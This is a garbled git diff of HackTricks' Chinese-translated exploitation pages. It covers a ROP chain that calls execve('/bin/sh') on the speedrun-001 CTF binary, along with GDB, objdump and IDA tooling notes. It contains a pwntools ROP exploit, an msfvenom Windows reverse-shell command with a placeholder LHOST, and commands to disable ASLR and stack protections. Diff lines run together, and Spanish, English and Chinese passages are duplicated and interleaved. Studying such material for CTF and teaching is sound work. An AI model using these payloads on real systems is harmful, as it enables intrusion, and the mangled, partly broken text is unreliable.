* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。** * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
为了准备调用 **syscall**,需要进行以下配置: 为了准备调用**syscall**,需要进行以下配置:
* `rax: 59 指定 sys_execve` * `rax: 59 指定sys_execve`
* `rdi: 指向 "/bin/sh" 的指针,指定要执行的文件` * `rdi: 指向"/bin/sh"的指针,指定要执行的文件`
* `rsi: 0 指定没有传递参数` * `rsi: 0 指定不传递任何参数`
* `rdx: 0 指定没有传递环境变量` * `rdx: 0 指定不传递任何环境变量`
因此,基本上需要在某个地方写入字符串 `/bin/sh`,然后执行 `syscall`(注意需要控制堆栈的填充)。 因此,基本上需要在某个地方写入字符串`/bin/sh`,然后执行`syscall`(注意需要控制堆栈的填充)。
## 控制寄存器 ## 控制寄存器
让我们从找到**如何控制这些寄存器**开始 让我们开始找出**如何控制这些寄存器**
```c ```c
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret 0x0000000000415664 : pop rax ; ret
@ -31,13 +33,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret 0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret 0x00000000004498b5 : pop rdx ; ret
``` ```
使用这些地址,可以将内容写入堆栈并加载到寄存器中。 使用这些地址,可以**将内容写入堆栈并加载到寄存器中**
## 写入字符串 ## 写入字符串
### 可写内存 ### 可写内存
首先,您需要在内存中找到一个可写的位置 首先,您需要在内存中找到一个可写的位置
```bash ```bash
gef> vmmap gef> vmmap
[ Legend: Code | Heap | Stack ] [ Legend: Code | Heap | Stack ]
@ -48,56 +50,12 @@ Start End Offset Perm Path
``` ```
### 写入字符串 ### 写入字符串
然后你需要找到一种方法将任意内容写入这个地址中 然后,您需要找到一种方法在这个地址中写入任意内容
```python ```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
``` ```
#### 32位 #### 32 位
##### ROP + syscall + execv
##### ROP + syscall + execv
Esta técnica se utiliza para ejecutar un comando en un sistema Linux de 32 bits utilizando la técnica de Return-Oriented Programming (ROP), llamadas al sistema (syscalls) y la función execv.
这种技术用于在32位Linux系统上使用Return-Oriented Programming (ROP)技术、系统调用(syscalls)和execv函数来执行命令。
La técnica ROP se utiliza para construir una cadena de gadgets (pequeños fragmentos de código) que se encuentran en la memoria del programa vulnerable. Estos gadgets se utilizan para manipular el flujo de ejecución del programa y lograr la ejecución de código arbitrario.
ROP技术用于构建一个gadget链小代码片段这些gadget位于受漏洞程序的内存中。这些gadget用于操纵程序的执行流程实现任意代码的执行。
En este caso, utilizaremos gadgets que nos permitan llamar a una syscall específica, en este caso la syscall execve, que nos permitirá ejecutar un comando en el sistema.
在这种情况下我们将使用能够调用特定系统调用的gadget例如execve系统调用该系统调用允许我们在系统中执行命令。
La syscall execve toma tres argumentos: la dirección de la cadena que contiene el comando a ejecutar, un array de argumentos y un array de variables de entorno.
execve系统调用接受三个参数包含要执行的命令的字符串的地址、参数数组和环境变量数组。
Para utilizar esta técnica, primero necesitamos encontrar los gadgets necesarios en el programa vulnerable. Estos gadgets deben cumplir con ciertas condiciones, como la existencia de instrucciones "pop" para desapilar valores de la pila y cargarlos en registros, y la existencia de instrucciones "ret" para retornar a la dirección siguiente en la pila.
要使用这种技术首先需要在受漏洞程序中找到所需的gadget。这些gadget必须满足一定的条件例如存在用于从堆栈中弹出值并将其加载到寄存器中的"pop"指令,以及存在用于返回到堆栈中的下一个地址的"ret"指令。
Una vez que hemos identificado los gadgets necesarios, construimos una cadena de ROP que los utilice en el orden correcto para lograr la ejecución de la syscall execve.
一旦我们确定了所需的gadget我们就可以构建一个ROP链按照正确的顺序使用它们来实现execve系统调用的执行。
La cadena de ROP se construye colocando las direcciones de memoria de los gadgets en la pila en el orden correcto, seguidas de los argumentos necesarios para la syscall execve.
ROP链的构建是将gadget的内存地址按正确的顺序放置在堆栈上然后是execve系统调用所需的参数。
Una vez que la cadena de ROP está construida, se sobrescribe la dirección de retorno de la función vulnerable con la dirección de inicio de la cadena de ROP.
构建好ROP链后将受漏洞函数的返回地址覆盖为ROP链的起始地址。
Cuando la función vulnerable retorna, en lugar de retornar a la dirección original de retorno, se ejecutará la cadena de ROP, que a su vez ejecutará la syscall execve y ejecutará el comando especificado.
当受漏洞函数返回时它将不会返回到原始的返回地址而是执行ROP链进而执行execve系统调用并执行指定的命令。
Esta técnica es muy poderosa, ya que nos permite ejecutar comandos arbitrarios en el sistema, lo que puede ser utilizado para obtener una shell remota o realizar otras acciones maliciosas.
这种技术非常强大因为它允许我们在系统中执行任意命令这可以用于获取远程shell或执行其他恶意操作。
```python ```python
''' '''
Lets write "/bin/sh" to 0x6b6000 Lets write "/bin/sh" to 0x6b6000
@ -119,59 +77,7 @@ rop += popRax
rop += p32(0x6b6000 + 4) rop += p32(0x6b6000 + 4)
rop += writeGadget rop += writeGadget
``` ```
#### 64位 #### 64 位
##### ROP (Return Oriented Programming) - execv
##### ROP返回导向编程- execv
The execv function is used to execute a program. It takes two arguments: the path to the program and an array of strings that represent the program's arguments. The array must be terminated with a NULL pointer.
execv函数用于执行程序。它接受两个参数程序的路径和一个字符串数组表示程序的参数。该数组必须以NULL指针结尾。
To call execv using ROP, we need to find the address of the execv function in memory and the addresses of the arguments we want to pass to it. We can do this by leaking memory or by using gadgets to load the addresses into registers.
要使用ROP调用execv我们需要找到内存中execv函数的地址以及我们要传递给它的参数的地址。我们可以通过泄漏内存或使用gadget将地址加载到寄存器中来实现这一点。
Once we have the addresses, we can construct a ROP chain that sets up the arguments and calls execv. The ROP chain will consist of gadgets that load the arguments into registers and gadgets that call the execv function.
一旦我们有了这些地址我们就可以构建一个ROP链设置参数并调用execv。ROP链将由将参数加载到寄存器中的gadget和调用execv函数的gadget组成。
Here is an example of a ROP chain that calls execv:
下面是一个调用execv的ROP链的示例
```
pop_rdi = 0x0000000000400686 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400684 # pop rsi ; pop r15 ; ret
null = 0x0000000000000000
rop_chain = [
pop_rdi, path_to_program,
pop_rsi_r15, args_array, null,
execv
]
```
```
pop_rdi = 0x0000000000400686 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400684 # pop rsi ; pop r15 ; ret
null = 0x0000000000000000
rop_chain = [
pop_rdi, path_to_program,
pop_rsi_r15, args_array, null,
execv
]
```
In this example, `pop_rdi` and `pop_rsi_r15` are gadgets that pop values from the stack into the `rdi`, `rsi`, and `r15` registers, respectively. `null` is a NULL pointer. `path_to_program` is the address of the string that represents the path to the program, and `args_array` is the address of the array of strings that represent the program's arguments.
在这个例子中,`pop_rdi`和`pop_rsi_r15`是从堆栈中弹出值到`rdi`、`rsi`和`r15`寄存器的gadget。`null`是一个NULL指针。`path_to_program`是表示程序路径的字符串的地址,`args_array`是表示程序参数的字符串数组的地址。
By constructing a ROP chain like this, we can execute arbitrary programs with arbitrary arguments using the execv function.
通过构建这样的ROP链我们可以使用execv函数执行任意程序并传递任意参数。
```python ```python
''' '''
Lets write "/bin/sh" to 0x6b6000 Lets write "/bin/sh" to 0x6b6000
@ -188,38 +94,6 @@ rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx rop += writeGadget #Address to: mov qword ptr [rax], rdx
``` ```
## 示例 ## 示例
```c
#include <stdio.h>
#include <unistd.h>
int main() {
char *args[] = {"/bin/sh", NULL};
execv(args[0], args);
return 0;
}
```
This is a simple C program that executes a shell (/bin/sh) using the `execv` function. The `execv` function takes two arguments: the path to the executable (/bin/sh) and an array of strings representing the command-line arguments (in this case, just NULL).
When this program is compiled and executed, it will spawn a shell process, allowing the user to interact with the command line.
## 例子
```c
#include <stdio.h>
#include <unistd.h>
int main() {
char *args[] = {"/bin/sh", NULL};
execv(args[0], args);
return 0;
}
```
这是一个简单的C程序使用`execv`函数执行一个shell (/bin/sh)。`execv`函数接受两个参数:可执行文件的路径 (/bin/sh) 和一个字符串数组表示命令行参数在这个例子中只有NULL
当编译并执行这个程序时它将生成一个shell进程允许用户与命令行进行交互。
```python ```python
from pwn import * from pwn import *
@ -292,12 +166,14 @@ target.interactive()
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 支持HackTricks的其他方式
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。** * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,16 +1,14 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 其他支持HackTricks的方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details> </details>
@ -25,42 +23,20 @@ msfelfscan -j esi /opt/fusion/bin/level01
``` ```
## Shellcodes ## Shellcodes
Shellcode是一段用于利用软件漏洞的机器码。它通常用于利用缓冲区溢出等漏洞以在目标系统上执行恶意代码。Shellcode的目标是获取系统访问权限从而使黑客能够执行各种操作如远程控制、文件访问和系统信息收集。 Shellcode是一段用于利用软件漏洞的机器码通常用于构建恶意软件。 Shellcode通常以二进制格式编写用于利用缓冲区溢出等漏洞。
Shellcode通常以二进制形式存在并且必须与特定的操作系统和架构兼容。因此编写Shellcode时需要考虑目标系统的操作系统类型如Windows、Linux或macOS和架构如x86、x64或ARM
Shellcode的编写可以使用汇编语言或高级语言如C或C++。一些常见的Shellcode编写工具包括NASM、GCC和LLVM。
在利用漏洞时Shellcode通常通过将其注入到受攻击的程序中来执行。这可以通过多种方式实现如利用缓冲区溢出、格式化字符串漏洞或使用特定的漏洞利用工具。
Shellcode的编写是黑客和安全研究人员的重要技能之一。了解Shellcode的工作原理和编写方法可以帮助他们更好地理解和防御各种漏洞攻击。
``` ```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
``` ```
# GDB # GDB
## 安装 ## 安装
To install GDB, you can use the following command:
```bash
sudo apt-get install gdb
```
Once the installation is complete, you can verify the installation by running the following command:
```bash
gdb --version
```
This will display the version of GDB installed on your system.
``` ```
apt-get install gdb apt-get install gdb
``` ```
## 参数 ## 参数
**-q** --> 不显示横幅\ **-q** --> 不显示横幅\
**-x \<file>** --> 从此处自动执行GDB指令\ **-x \<file>** --> 自动执行来自此处的GDB指令\
**-p \<pid>** --> 附加到进程 **-p \<pid>** --> 附加到进程
### 指令 ### 指令
@ -73,37 +49,37 @@ apt-get install gdb
\> **help**\ \> **help**\
\> **quit** \> **quit**
\> **br func** --> 在函数中添加断点\ \> **br func** --> 为函数添加断点\
\> **br \*func+23**\ \> **br \*func+23**\
\> **br \*0x12345678**\ \> **br \*0x12345678**\
**> del NUM** --> 删除指定数量的断点\ **> del NUM** --> 删除相应数量的断点\
\> **watch EXPRESSION** --> 如果值发生变化则中断 \> **watch EXPRESSION** --> 如果值发生变化则中断
**> run** --> 执行\ **> run** --> 执行\
**> start** --> 在main函数中开始并中断\ **> start** --> 在main函数中启动并中断\
\> **n/next** --> 执行下一条指令(不进入函数内部)\ \> **n/next** --> 执行下一条指令(不进入函数内部)\
\> **s/step** --> 执行下一条指令\ \> **s/step** --> 执行下一条指令\
\> **c/continue** --> 继续执行直到下一个断点 \> **c/continue** --> 继续直到下一个断点
\> **set $eip = 0x12345678** --> 更改$eip的值\ \> **set $eip = 0x12345678** --> 更改$eip的值\
\> **info functions** --> 函数信息\ \> **info functions** --> 函数信息\
\> **info functions func** --> 函数信息\ \> **info functions func** --> 函数信息\
\> **info registers** --> 寄存器的值\ \> **info registers** --> 寄存器的值\
\> **bt** --> 栈\ \> **bt** --> 栈\
\> **bt full** --> 详细栈信息 \> **bt full** --> 详细栈信息
\> **print variable**\ \> **print variable**\
\> **print 0x87654321 - 0x12345678** --> 计算\ \> **print 0x87654321 - 0x12345678** --> 计算\
\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> 以八进制/十六进制/十进制/二进制/指令/ASCII显示内容 \> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> 显示八进制/十六进制/十进制/二进制/指令/ASCII中的内容
* **x/o 0xDir\_hex** * **x/o 0xDir\_hex**
* **x/2x $eip** --> 从EIP中获取2个字 * **x/2x $eip** --> 来自EIP的2个字\
* **x/2x $eip -4** --> $eip - 4 * **x/2x $eip -4** --> $eip - 4
* **x/8xb $eip** --> 8个字节b-> 字节, h-> 2字节, w-> 4字节, g-> 8字节 * **x/8xb $eip** --> 8个字节b-> 字节, h-> 2字节, w-> 4字节, g-> 8字节
* **i r eip** --> $eip的值 * **i r eip** --> $eip的值
* **x/w pointer** --> 指针的值 * **x/w pointer** --> 指针的值
* **x/s pointer** --> 指针指向的字符串 * **x/s pointer** --> 指针指向的字符串
* **x/xw \&pointer** --> 指针所在地址 * **x/xw \&pointer** --> 指针所在地址
* **x/i $eip** —> EIP的指令 * **x/i $eip** —> EIP的指令
## [GEF](https://github.com/hugsy/gef) ## [GEF](https://github.com/hugsy/gef)
@ -138,20 +114,20 @@ gef➤ pattern search 0x6261617762616176
``` ```
## 技巧 ## 技巧
### GDB相同地址 ### GDB相同地址
在调试过程中GDB的地址与执行二进制文件时使用的地址**略有不同**。您可以通过以下方式使GDB具有相同的地址 在调试GDB的地址会**与执行二进制文件时使用的地址略有不同。** 您可以通过以下方式使GDB具有相同的地址
* `unset env LINES` - `unset env LINES`
* `unset env COLUMNS` - `unset env COLUMNS`
* `set env _=<path>` _将二进制文件的绝对路径放在这里_ - `set env _=<path>` _将二进制文件的绝对路径放在这里_
* 使用相同的绝对路径利用二进制文件 - 使用相同的绝对路径利用二进制文件
* 在使用GDB和利用二进制文件时`PWD`和`OLDPWD`必须相同 - 使用GDB和利用二进制文件时`PWD`和`OLDPWD`必须相同
### 回溯以查找调用的函数 ### 回溯以查找调用的函数
当您有一个**静态链接的二进制文件**时,所有的函数都属于二进制文件(而不是外部库)。在这种情况下,很难**确定二进制文件遵循的流程,例如要求用户输入**。\ 当您有一个**静态链接的二进制文件**时,所有函数将属于二进制文件(而不是外部库)。在这种情况下,**识别二进制文件遵循的流程以便例如请求用户输入**将会很困难。\
您可以通过使用**gdb**运行二进制文件,直到要求输入时停止它,然后使用**`bt`****回溯**)命令查看调用的函数来轻松确定此流程 您可以通过**使用gdb运行**二进制文件直到要求输入为止来轻松识别此流程。然后,使用**`bt`****回溯**)命令停止它以查看调用的函数
``` ```
gef➤ bt gef➤ bt
#0 0x00000000004498ae in ?? () #0 0x00000000004498ae in ?? ()
@ -160,56 +136,56 @@ gef➤ bt
#3 0x00000000004011a9 in ?? () #3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? () #4 0x0000000000400a5a in ?? ()
``` ```
## GDB服务器 ## GDB 服务器
`gdbserver --multi 0.0.0.0:23947`在IDA中需要在Linux机器和Windows机器中填写可执行文件的绝对路径) `gdbserver --multi 0.0.0.0:23947`在IDA中必须填写Linux机器和Windows机器中可执行文件的绝对路径)
# Ghidra # Ghidra
## 查找堆栈偏移 ## 查找堆栈偏移
**Ghidra**非常有用,可以通过有关本地变量位置的信息找到**缓冲区溢出的偏移量**。\ **Ghidra** 对于查找**缓冲区溢出的偏移**非常有用,因为它提供了关于本地变量位置的信息。\
例如,在下面的示例中,`local_bc`中的缓冲区溢出表示您需要一个偏移量为`0xbc`。此外,如果`local_10`是一个canary cookie表示从`local_bc`覆盖它的偏移量为`0xac`。\ 例如,在下面的示例中,`local_bc` 中的缓冲区溢出表明您需要一个偏移量为 `0xbc`。此外,如果 `local_10` 是一个 canary cookie则从 `local_bc` 覆盖它需要一个偏移量为 `0xac`。\
_请记住RIP保存的第一个0x08属于RBP。_ _请记住保存 RIP 的第一个 0x08 属于 RBP。_
![](<../../.gitbook/assets/image (616).png>) ![](<../../.gitbook/assets/image (616).png>)
# GCC # GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 编译时去除保护\ **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 无保护编译\
**-o** --> 输出\ **-o** --> 输出\
**-g** --> 保存代码GDB将能够查看它\ **-g** --> 保存代码GDB 可以查看\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> 在Linux中禁用ASLR **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> 在Linux中禁用ASLR
**编译shellcode**\ **编译 shellcode:**\
**nasm -f elf assembly.asm** --> 返回“.o”\ **nasm -f elf assembly.asm** --> 返回“.o”\
**ld assembly.o -o shellcodeout** --> 可执行文件 **ld assembly.o -o shellcodeout** --> 可执行文件
# Objdump # Objdump
**-d** --> 反汇编可执行文件的各个部分查看编译后的shellcode的操作码查找ROP Gadgets查找函数地址...\ **-d** --> 反汇编可执行文件的**部分**(查看编译后的 shellcode 的操作码,查找 ROP Gadgets查找函数地址...\
**-Mintel** --> **Intel**语法\ **-Mintel** --> **Intel** 语法\
**-t** --> **符号**表\ **-t** --> **符号**表\
**-D** --> **反汇编全部**(静态变量的地址)\ **-D** --> **反汇编所有**(静态变量的地址)\
**-s -j .dtors** --> dtors部分\ **-s -j .dtors** --> dtors 部分\
**-s -j .got** --> got部分\ **-s -j .got** --> got 部分\
\-D -s -j .plt --> **plt**部分**反编译**\ \-D -s -j .plt --> **plt** 部分 **反编译**\
**-TR** --> **重定位**\ **-TR** --> **重定位**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> 修改GOT中的"puts"的地址\ **ojdump -t --dynamic-relo ./exec | grep puts** --> 要在 GOT 中修改的 "puts" 地址\
**objdump -D ./exec | grep "VAR\_NAME"** --> 静态变量的地址这些存储在DATA部分 **objdump -D ./exec | grep "VAR\_NAME"** --> 静态变量的地址(这些存储在 DATA 部分)。
# Core dumps # Core dumps
1. 在启动程序之前运行`ulimit -c unlimited` 1. 在启动程序之前运行 `ulimit -c unlimited`
2. 运行`sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. 运行`sudo gdb --core=\<path/core> --quiet` 3. `sudo gdb --core=\<path/core> --quiet`
# 更多 # 更多
**ldd executable | grep libc.so.6** --> 地址如果启用ASLR则每次都会更改\ **ldd executable | grep libc.so.6** --> 地址(如果启用 ASLR则每次都会更改\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 循环查看地址是否经常更改\ **for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 循环查看地址是否经常更改\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"的偏移\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"的偏移 **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移
**strace executable** --> 可执行文件调用的函数\ **strace executable** --> 可执行文件调用的函数\
**rabin2 -i ejecutable -->** 所有函数的地址 **rabin2 -i ejecutable -->** 所有函数的地址
@ -221,29 +197,27 @@ _请记住RIP保存的第一个0x08属于RBP。_
``` ```
# IDA # IDA
## 在远程 Linux 上进行调试 ## 在远程 Linux 调试
在 IDA 文件夹中,您可以找到用于在 Linux 调试二进制文件的可执行文件。要这样做,请将 _linux\_server_ 或 _linux\_server64_ 可执行文件移动到 Linux 服务器中,并在包含二进制文件的文件夹中运行它: 在 IDA 文件夹中,您可以找到用于在 Linux 调试二进制文件的可执行文件。要这样做,请将 _linux\_server_ 或 _linux\_server64_ 二进制文件移动到 Linux 服务器中,并在包含二进制文件的文件夹中运行它:
``` ```
./linux_server64 -Ppass ./linux_server64 -Ppass
``` ```
然后配置调试器调试器远程Linux-> 进程选项... 然后配置调试器调试器远程Linux--> 进程选项...:
![](<../../.gitbook/assets/image (101).png>) ![](<../../.gitbook/assets/image (101).png>)
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details> </details>

View file

@ -1,16 +1,14 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 其他支持HackTricks的方式
